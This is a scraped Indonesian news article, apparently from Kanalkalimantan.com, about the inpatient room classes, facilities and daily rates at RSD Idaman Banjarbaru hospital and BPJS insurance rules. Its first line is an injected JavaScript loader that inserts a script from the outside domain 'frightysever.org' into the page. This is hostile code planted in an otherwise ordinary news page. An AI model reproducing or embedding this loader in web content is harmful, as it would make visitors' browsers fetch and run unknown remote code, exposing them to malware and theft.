(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Rumah Sakit Daerah (RSD) Idaman Kota Banjarbaru terus berupaya memberikan kenyamanan kepada pasiennya. Tidak hanya digawangi jajaran dokter yang profesional di berbagai bidang, fasilitas pendukung lainnya pun terus dilengkapi.
Seperti halnya, kamar rawat inap untuk pasien. RSD Idaman Banjarbaru saat ini memiliki 4 jenis kamar rawat inap yang terbagi tiap-tiap kelasnya, yakni Kamar Kelas III, Kamar Kelas II, Kamar Kelas I dan Kamar Kelas VIP.
Untuk setiap kamar inap sendiri memiliki fasilitas yang beragam. Misalnya saja untuk Kamar Kelas VIP yang dilengkapi televisi, AC, WC dan Kamar Mandi, Wifi, bed side, kulkas, dispenser, lemari pakaian, sofa bed, sofa, meja kecil serta lemari atau meja makan pasien.
Baca juga: Proyek Embung Gunung Kupang Baru 73,55%, Kontrak Diperpanjang Sampai 30 Desember 2023
Kemudian Kamar Kelas I yang terdapat fasilitas berupa televisi, AC, WC dan Kamar Mandi, Wifi, bed side, kulkas, dispenser dan sofa. Lalu untuk Kamar Kelas II terdapat televisi, AC, dispenser, WC dan kamar mandi, wifi serta bed side.
Sedangkan untuk Kamar Kelas III, terdapat fasilitas televisi, AC, dispenser, WC dan kamar mandi, bed side serta ruang tunggu.
Direktur RSD Idaman Kota Banjarbaru, dr. Danny Indrawardhana melalui Kepala Instalasi Ruang Rawat Inap Eva Metalita, mengungkapkan bahwa seluruh fasilitas kamar rawat inap dapat diproses melalui BPJS, kategori kelas yang terdaftar di BPJS masing-masing pasien.
Baca juga: DPRD Kapuas Terima Kunker Komisi IV DPRD Kalsel
“Kalau tanpa BPJS, maka ada biaya tambahan yang dikenakan. Untuk per harinya kamar VIP dikenakan tarif 335 ribu rupiah, kamar kelas I tarifnya 235 ribu rupiah, kelas II 135 ribu rupiah dan kamar kelas III senilai 80 ribu rupiah,” ucapnya, Selasa (12/12/2023).
Kendati demikian, Eva menerangkan meskipun ada tarif yang dikenakan, namun hal itu juga harus mengikuti syarat dan ketentuan yang berlaku. Dimana pasien yang awalnya terdaftar di Kelas III berdasar sistem BPJS, maka pasien tersebut tidak bisa serta merta langsung mengambil Kamar Kelas VIP.
“Walau bisa membayar tarif tambahannya, tapi ada ketentuan yang berlaku. Jadi kita akan liat dulu pasien ini terdaftar di Kelas berapa. Nah kalau di Kelas I, itu masih bisa mengambil yang Kelas VIP. Tapi beda halnya kalau pasien ini terdaftar di Kelas III, maka tidak bisa. Hanya boleh baik satu kelas saja,” paparnya.
Disamping itu, Eva juga mengakui bahwa pihak manajemen RSD Idaman Banjarbaru saat ini sedang mengkaji terkait penambahan kategori Kamar untuk Kelas VVIP. Menurutnya hal itu dapat terealiasi pada 2024 mendatang.
Baca juga: Rotasi Posisi di Polresta Banjarmasin, Ini 7 Perwira yang Bergeser
“Pembangunan kamar VVIP sedang dirancang. Ya ini menjadi komitmen kita untuk terus mengembangkan fasilitas pelayanan yang ada di RSD Idaman. Kami minta doa agar rencana tersebut bisa segera terealisasi,” tuntasnya. (Kanalkalimantan.com/al)
Reporter: al
Editor: kk
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.